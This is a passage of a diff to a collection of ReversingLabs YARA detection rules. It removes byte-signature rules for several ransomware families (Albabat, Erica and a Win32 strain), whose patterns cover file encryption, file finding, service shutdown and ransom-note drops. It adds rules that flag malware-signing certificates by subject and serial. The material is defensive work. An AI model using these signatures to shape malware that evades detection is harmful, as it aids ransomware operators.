?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? - ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 55 ?? 8B 4D ?? 53 8B 5D ?? 56 57 6A ?? 5E 6A ?? - 89 95 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 5F EB ?? 0F B7 01 66 3B 85 ?? ?? ?? - ?? 74 ?? 66 3B C6 74 ?? 66 3B C7 74 ?? 83 E9 ?? 3B CB 75 ?? 0F B7 31 66 3B F7 75 ?? - 8D 43 ?? 3B C8 74 ?? 52 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 6A ?? - 8B C6 33 FF 5A 66 3B C2 74 ?? 6A ?? 5A 66 3B C2 74 ?? 6A ?? 5A 66 3B C2 74 ?? 8B C7 - } - $find_files_p2 = { - EB ?? 33 C0 40 2B CB 0F B6 C0 D1 F9 41 F7 D8 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 - 57 53 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? 8B 85 ?? ?? ?? ?? 50 57 57 53 E8 ?? ?? - ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD - 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 8D ?? ?? ?? ?? 6A ?? 8B 41 ?? 2B 01 C1 F8 ?? 89 85 - ?? ?? ?? ?? 58 66 39 85 ?? ?? ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 66 39 85 ?? ?? - ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 51 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 - E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 8B 8D - ?? ?? ?? ?? 85 C0 6A ?? 58 75 ?? 8B C1 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 - ?? 3B C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? - 83 C4 ?? E9 - } - $encrypt_files_p1 = { - 8B FF 55 8B EC 83 EC ?? 53 56 57 FF 75 ?? 8D 45 ?? FF 75 ?? FF 75 ?? 50 E8 ?? ?? ?? - ?? 83 C4 ?? 8D 7D ?? 8B F0 6A ?? 59 F3 A5 83 CE ?? 39 75 ?? 75 ?? E8 ?? ?? ?? ?? 83 - 20 ?? 8B 45 ?? 89 30 E8 ?? ?? ?? ?? 8B 00 E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 5D ?? 89 - 03 3B C6 75 ?? E8 ?? ?? ?? ?? 83 20 ?? 89 33 E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? EB ?? - 8B 45 ?? 8D 75 ?? 83 65 ?? ?? 33 C9 41 C7 45 ?? ?? ?? ?? ?? 83 EC ?? 89 08 8B 45 ?? - C1 E8 ?? F7 D0 23 C1 6A ?? 59 89 45 ?? 8B FC 8D 45 ?? 50 FF 75 ?? F3 A5 E8 ?? ?? ?? - ?? 8B F8 83 C4 ?? 89 7D ?? BA ?? ?? ?? ?? 83 FF ?? 75 ?? 8B 4D ?? 8B C1 23 C2 3B C2 - 75 ?? F6 45 ?? ?? 74 ?? 83 EC ?? 8D 45 ?? 81 E1 ?? ?? ?? ?? 8D 75 ?? 89 4D ?? 6A ?? - 59 8B FC 50 FF 75 ?? F3 A5 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 89 7D ?? 83 FF ?? 75 ?? 8B - 0B 8B C1 83 E1 ?? C1 F8 ?? 6B C9 ?? 8B 04 85 ?? ?? ?? ?? 80 64 08 ?? ?? FF 15 ?? ?? - ?? ?? 50 E8 ?? ?? ?? ?? 59 E9 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? - ?? ?? ?? 8B F0 56 E8 ?? ?? ?? ?? 59 8B 0B 8B C1 83 E1 ?? C1 F8 ?? 6B C9 ?? 57 8B 04 - 85 ?? ?? ?? ?? 80 64 08 ?? ?? FF 15 ?? ?? ?? ?? 85 F6 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? - ?? C7 00 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 F8 ?? 75 ?? 8A 45 ?? 0C ?? EB ?? 83 F8 ?? 8A - } - $encrypt_files_p2 = { - 45 ?? 75 ?? 0C ?? 57 FF 33 88 45 ?? E8 ?? ?? ?? ?? 8A 55 ?? 59 59 8B 0B 80 CA ?? 8B - C1 88 55 ?? 83 E1 ?? C1 F8 ?? 6B C9 ?? 88 55 ?? 8B 04 85 ?? ?? ?? ?? 88 54 08 ?? 8B - 0B 8B C1 83 E1 ?? C1 F8 ?? 6B C9 ?? F6 45 ?? ?? 8B 04 85 ?? ?? ?? ?? C6 44 08 ?? ?? - 74 ?? FF 33 E8 ?? ?? ?? ?? 8B F0 59 85 F6 75 ?? 8D 45 ?? C6 45 ?? ?? 50 FF 75 ?? 8D - 75 ?? 83 EC ?? 6A ?? 59 8B FC FF 33 F3 A5 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B F0 - FF 33 E8 ?? ?? ?? ?? 59 8B C6 E9 ?? ?? ?? ?? 8B 03 8B C8 83 E0 ?? C1 F9 ?? 6B D0 ?? - 8A 45 ?? 8B 0C 8D ?? ?? ?? ?? 88 44 11 ?? 8B 0B 8B C1 C1 F8 ?? 83 E1 ?? 6B D1 ?? 8B - 0C 85 ?? ?? ?? ?? 8B 45 ?? C1 E8 ?? 32 44 11 ?? 24 ?? 30 44 11 ?? F6 45 ?? ?? 75 ?? - F6 45 ?? ?? 74 ?? 8B 0B 8B C1 83 E1 ?? C1 F8 ?? 6B C9 ?? 8B 04 85 ?? ?? ?? ?? 80 4C - 08 ?? ?? 8B 75 ?? B9 ?? ?? ?? ?? 8B C6 23 C1 3B C1 0F 85 ?? ?? ?? ?? F6 45 ?? ?? 74 - ?? FF 75 ?? FF 15 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 81 E6 ?? ?? ?? ?? 89 75 ?? 8D 75 ?? - 6A ?? 59 8B FC 50 FF 75 ?? F3 A5 E8 ?? ?? ?? ?? 8B D0 83 C4 ?? 83 FA ?? 75 ?? FF 15 - ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 0B 8B C1 83 E1 ?? C1 F8 ?? 6B C9 ?? 8B 04 85 ?? ?? - ?? ?? 80 64 08 ?? ?? FF 33 E8 ?? ?? ?? ?? 59 E9 ?? ?? ?? ?? 8B 0B 8B C1 C1 F8 ?? 83 - E1 ?? 6B C9 ?? 8B 04 85 ?? ?? ?? ?? 89 54 08 ?? 33 C0 5F 5E 5B 8B E5 5D C3 - } - $shutdown_services_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 65 ?? 8B F9 8B 75 ?? 8B 1D - ?? ?? ?? ?? FF D3 83 7E ?? ?? 89 45 ?? 72 ?? 8B 36 6A ?? 56 FF 37 FF 15 ?? ?? ?? ?? - 8B F0 89 75 ?? 85 F6 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 8D 45 ?? 50 6A ?? 56 FF 15 - ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 75 ?? 56 FF 15 ?? ?? ?? ?? 8B - 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 ?? - ?? 83 F8 ?? 75 ?? 66 90 FF 77 ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 8D 45 ?? 50 6A - ?? 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF D3 2B 45 ?? 3B - 47 ?? 0F 87 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8B CF E8 - ?? ?? ?? ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 8B 75 ?? 50 6A ?? 56 FF 15 ?? ?? ?? ?? 85 - C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 0F 84 - } - $shutdown_services_p2 = { - FF 77 ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 8D 45 ?? 50 6A ?? 56 FF 15 ?? ?? ?? ?? - 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? FF D3 2B 45 ?? 3B 47 ?? 0F 87 - ?? ?? ?? ?? 83 7D ?? ?? 75 ?? E9 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? - E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 - ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $shutdown_services_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Mikael LLC" and ( pe.signatures [ i ] . serial == "00:8c:ec:e6:df:54:cf:6a:d6:35:96:54:6d:77:ba:35:81" or pe.signatures [ i ] . serial == "8c:ec:e6:df:54:cf:6a:d6:35:96:54:6d:77:ba:35:81" ) and 1613088000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win64_Ransomware_Albabat : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_984E84Cfe362E278F558E2C70Aaafac2 : INFO FILE { meta: - description = "Yara rule that detects Albabat ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "11941c0d-45fb-5746-bbad-f43f336d4b1d" - date = "2024-03-18" - modified = "2024-03-18" + id = "180f1209-7031-50fb-b1fc-3d357f2b73a1" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.Albabat.yara#L1-L139" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11744-L11762" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "38ec8388b9006f6ab9a397858b89f4bfd7def2ffcf525cfc736abae49bc6034a" + logic_hash = "e7a8f3dff77121df53d5f932f861e15208b0607ba77712f40927bc14b17a53cd" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Albabat" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 48 8D 05 ?? ?? ?? ?? 48 89 83 ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? C7 83 ?? - ?? ?? ?? ?? ?? ?? ?? 66 C7 83 ?? ?? 00 00 ?? ?? C7 83 ?? ?? ?? ?? ?? ?? ?? ?? 0F 57 - F6 0F 11 B3 ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? C6 83 ?? ?? ?? ?? ?? 4C 8D - 83 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 D7 48 85 C0 74 ?? 0F B6 05 ?? ?? ?? ?? 48 8B 0D - ?? ?? ?? ?? 48 85 C9 75 ?? FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 C1 48 - 89 05 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 31 D2 FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? - ?? 48 89 C6 48 89 38 4C 8D 35 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 89 BB ?? ?? ?? ?? 48 C7 - 83 ?? ?? ?? ?? ?? ?? ?? ?? 0F 11 B3 ?? ?? ?? ?? 48 89 F9 E8 ?? ?? ?? ?? 48 89 C6 48 - 89 D7 48 85 C0 74 ?? 48 85 FF 0F 85 ?? ?? ?? ?? 48 89 7C 24 ?? 48 8D 8B ?? ?? ?? ?? - 48 8D 93 ?? ?? ?? ?? 4C 8D 83 ?? ?? ?? ?? 49 89 F1 E8 ?? ?? ?? ?? 48 83 BB ?? ?? ?? - ?? ?? 0F 84 ?? ?? ?? ?? 48 8B BB ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? - ?? 48 85 C9 75 ?? FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 C1 48 89 05 ?? - ?? ?? ?? 41 B8 ?? ?? ?? ?? 31 D2 FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 - } - $encrypt_files_p2 = { - C6 48 89 38 4C 8D 35 ?? ?? ?? ?? 48 83 BB ?? ?? ?? ?? ?? 74 ?? 4C 8B 83 ?? ?? ?? ?? - 48 8B 0D ?? ?? ?? ?? 31 D2 FF 15 ?? ?? ?? ?? 48 8B 8B ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - 48 85 F6 0F 84 ?? ?? ?? ?? 48 89 B3 ?? ?? ?? ?? 4C 89 B3 ?? ?? ?? ?? 4C 8D B3 ?? ?? - ?? ?? 4C 89 B3 ?? ?? ?? ?? 4C 8D 3D ?? ?? ?? ?? 4C 89 BB ?? ?? ?? ?? 48 8D 05 ?? ?? - ?? ?? 48 89 83 ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? - ?? ?? ?? 48 8D BB ?? ?? ?? ?? 48 89 BB ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? - 48 8D 8B ?? ?? ?? ?? 48 8D 93 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B B3 ?? ?? ?? ?? 48 8B - 93 ?? ?? ?? ?? 4C 8B A3 ?? ?? ?? ?? 48 89 F1 E8 ?? ?? ?? ?? 4D 85 E4 74 ?? 48 8B 0D - ?? ?? ?? ?? 31 D2 49 89 F0 FF 15 ?? ?? ?? ?? 4C 89 B3 ?? ?? ?? ?? 4C 89 BB ?? ?? ?? - ?? 48 8D 05 ?? ?? ?? ?? 48 89 83 ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D - 35 ?? ?? ?? ?? 48 89 B3 ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? 4C 8D B3 ?? ?? - ?? ?? 4C 89 B3 ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? - ?? ?? ?? 48 8D 8B ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 48 8B 05 ?? ?? - ?? ?? 48 83 F8 ?? 0F 85 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 65 48 8B - 14 25 ?? ?? ?? ?? 48 8B 0C CA 48 8D 89 ?? ?? ?? ?? 48 39 C8 75 ?? 8B 05 ?? ?? ?? ?? - FF C0 75 ?? 48 8D 0D ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 - } - $drop_ransom_note = { - 48 8D 05 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 - 89 B4 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 4C 89 B4 24 ?? ?? ?? ?? 48 - C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 48 83 BC 24 ?? ?? ?? ?? ?? 74 ?? 4C 8B 84 24 ?? ?? ?? ?? 48 8B 0D ?? ?? - ?? ?? 31 D2 FF 15 ?? ?? ?? ?? 48 8D B4 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 89 - F1 E8 ?? ?? ?? ?? 48 85 C0 4C 8B 74 24 ?? 74 ?? 48 89 C5 4C 8B 6C 24 ?? E9 ?? ?? ?? - ?? 4D 8D 0C D1 49 83 C1 ?? 48 C1 E2 ?? 48 F7 DA 4F 8D 14 C2 49 83 C2 ?? 49 C1 E0 ?? - 49 F7 D8 45 31 DB 4C 39 DA 0F 84 ?? ?? ?? ?? 4D 39 D8 0F 84 ?? ?? ?? ?? 4B 8B 34 19 - 4F 8B 34 1A 4C 39 F6 0F 82 ?? ?? ?? ?? 49 83 C3 ?? 4C 39 F6 76 ?? E9 ?? ?? ?? ?? 48 - 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 BC 24 - ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 4C - 8B 84 24 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 48 8D 8C 24 ?? - ?? ?? ?? 48 89 DA E8 ?? ?? ?? ?? 4C 8B B4 24 ?? ?? ?? ?? 4C 8B 84 24 ?? ?? ?? ?? 48 - C7 44 24 ?? ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 4C 89 F2 E8 ?? - ?? ?? ?? 48 83 BC 24 ?? ?? ?? ?? ?? 74 ?? 48 8B 0D ?? ?? ?? ?? 31 D2 4D 89 F0 FF 15 - ?? ?? ?? ?? 48 85 ED 74 ?? 48 8B 0D ?? ?? ?? ?? 31 D2 49 89 D8 FF 15 ?? ?? ?? ?? 48 - 8D 9C 24 ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? - ?? 41 B8 ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 0F 10 00 0F 11 84 24 ?? ?? ?? ?? 48 8B - 8C 24 ?? ?? ?? ?? 48 85 C9 74 - } - $change_desktop_wallpaper = { - 4C 8D 0D ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 DA E8 ?? ?? ?? ?? 48 83 BC 24 ?? - ?? ?? ?? ?? 74 ?? 48 8B 0D ?? ?? ?? ?? 31 D2 49 89 D8 FF 15 ?? ?? ?? ?? 4D 85 F6 74 - ?? 48 8B 0D ?? ?? ?? ?? 31 D2 49 89 F0 FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D - 8C 24 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 25 ?? ?? ?? ?? 48 85 C0 4C - 8B 74 24 ?? 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 41 B8 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 80 BC 24 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8B B4 24 ?? ?? - ?? ?? 4C 8B AC 24 ?? ?? ?? ?? 4C 8B 84 24 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C - 8D 0D ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 F2 E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? - ?? ?? 4C 8B 84 24 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 48 8D - 8C 24 ?? ?? ?? ?? 48 89 DA E8 ?? ?? ?? ?? 48 83 BC 24 ?? ?? ?? ?? ?? 74 ?? 48 8B 0D - ?? ?? ?? ?? 31 D2 49 89 D8 FF 15 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 4C 8B B4 24 ?? - ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 DA 4D 89 F0 E8 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? - ?? ?? 0F 85 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 89 C1 83 E1 ?? 83 F9 ?? 0F 85 ?? ?? - ?? ?? 48 8D 58 ?? 4C 8B 70 ?? 48 8B 68 ?? 4C 89 F1 FF 55 - } - $find_files_p1 = { - 4C 8D 0D ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 DA E8 ?? ?? ?? ?? 48 83 BC 24 ?? - ?? ?? ?? ?? 74 ?? 48 8B 0D ?? ?? ?? ?? 31 D2 49 89 D8 FF 15 ?? ?? ?? ?? 4D 85 FF 74 - ?? 48 8B 0D ?? ?? ?? ?? 31 D2 49 89 F0 FF 15 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? - ?? ?? ?? 66 0F EF C0 F3 0F 7F 84 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 8D 94 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 C5 4C 8B 6C 24 ?? 4C 8B - 74 24 ?? E9 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 31 D2 49 89 F0 E8 ?? ?? ?? ?? 48 8B - 84 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 29 E8 48 39 F0 72 ?? 48 8B 8C 24 ?? ?? - ?? ?? 48 01 E9 31 D2 49 89 F0 E8 ?? ?? ?? ?? 48 01 F5 48 89 AC 24 ?? ?? ?? ?? E9 ?? - ?? ?? ?? 48 C1 ED ?? 74 ?? 41 BD ?? ?? ?? ?? E9 ?? ?? ?? ?? 49 83 FF ?? 72 ?? 48 85 - DB 74 ?? 48 8B 84 24 ?? ?? ?? ?? EB ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 EA 49 89 F0 E8 - ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? EB ?? 4C 89 FB 4C 89 F0 4D 85 FF 74 ?? 49 89 DC - 48 8B 44 D8 ?? 48 85 C0 74 ?? 48 0F BD C0 48 83 F0 ?? EB ?? 45 31 E4 EB ?? B8 ?? ?? - ?? ?? 49 C1 E4 ?? 49 83 CC ?? 49 29 C4 49 C1 EC ?? 48 8B B4 24 ?? ?? ?? ?? BA ?? ?? - ?? ?? 48 89 F1 45 31 C0 E8 ?? ?? ?? ?? 48 89 F1 E8 ?? ?? ?? ?? 49 89 C7 49 83 FC - } - $find_files_p2 = { - 73 ?? 48 8B 0D ?? ?? ?? ?? 31 D2 4D 89 F8 FF 15 ?? ?? ?? ?? 41 BD ?? ?? ?? ?? E9 ?? - ?? ?? ?? BA ?? ?? ?? ?? 4C 89 E1 E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 68 - ?? 49 8D 5C 24 ?? 48 8B 8C 24 ?? ?? ?? ?? 48 89 EA 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 - 8B 44 24 ?? F3 41 0F 6F 07 41 0F 10 4F ?? 0F 11 48 ?? F3 0F 7F 40 ?? 49 8D 4C 24 ?? - 48 39 D9 0F 83 ?? ?? ?? ?? 4D 89 E5 4C 8D 60 ?? 49 8D 4D ?? 43 C6 44 2C ?? ?? 48 39 - CB 0F 82 ?? ?? ?? ?? 43 0F 11 74 2C ?? 43 0F 11 7C 2C ?? 48 C7 44 24 ?? ?? ?? ?? ?? - 4C 89 E1 48 89 DA 48 8B B4 24 ?? ?? ?? ?? 49 89 F0 49 89 E9 E8 ?? ?? ?? ?? 48 89 5C - 24 ?? BA ?? ?? ?? ?? 48 89 E9 49 89 F0 4D 89 E1 E8 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? - 31 D2 4D 89 F8 FF 15 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 89 E9 E8 ?? - ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 C3 48 8D B4 24 ?? ?? ?? ?? 48 89 C1 48 8B - 54 24 ?? 4D 89 E8 E8 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( $drop_ransom_note ) and ( $change_desktop_wallpaper ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Arctic Nights \\xC3\\x84k\\xC3\\xA4slompolo Oy" and ( pe.signatures [ i ] . serial == "00:98:4e:84:cf:e3:62:e2:78:f5:58:e2:c7:0a:aa:fa:c2" or pe.signatures [ i ] . serial == "98:4e:84:cf:e3:62:e2:78:f5:58:e2:c7:0a:aa:fa:c2" ) and 1640304000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Erica : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_Ff52Eb011Bb748Fee75153Cbe1E50Dd6 : INFO FILE { meta: - description = "Yara rule that detects Erica ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "38f57157-bd49-5a63-8c69-497eb9efe274" - date = "2020-06-26" - modified = "2020-07-15" + id = "acd29c6d-27ed-587a-b17c-989e69082434" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Erica.yara#L1-L76" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11764-L11782" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "93512091943f3a3b395c38fa3b0f5ecdbbf1cdf967ccfea4d7145c940076e046" + logic_hash = "8c80ed4e4f77df34ff9fcc712deda4c1bbedc588f2b01d02aa705e368fb98c5e" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Erica" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 55 8B EC 83 C4 ?? 53 56 57 89 4D ?? 8B F2 8B D8 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 - ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 89 45 ?? 8A 43 ?? 2C ?? 72 ?? 74 ?? EB ?? BF ?? - ?? ?? ?? EB ?? BF ?? ?? ?? ?? EB ?? BF ?? ?? ?? ?? 33 DB 68 ?? ?? ?? ?? 8B 45 ?? 50 - 8B 45 ?? 50 6A ?? 56 E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 45 ?? 50 6A ?? 6A ?? 57 8B 06 50 - E8 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ?? - 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 50 6A ?? 8B 45 ?? 50 8B 45 ?? 50 - 8B 06 50 E8 ?? ?? ?? ?? 85 C0 75 ?? BB ?? ?? ?? ?? EB ?? BB ?? ?? ?? ?? EB ?? BB ?? - ?? ?? ?? EB ?? BB ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 33 C0 5A - 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 - } - $encrypt_files_p2 = { - 8D 40 ?? 55 8B EC 83 C4 ?? 53 33 DB 89 5D ?? 89 5D ?? 8B D9 89 55 ?? 89 45 ?? 33 C0 - 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 89 45 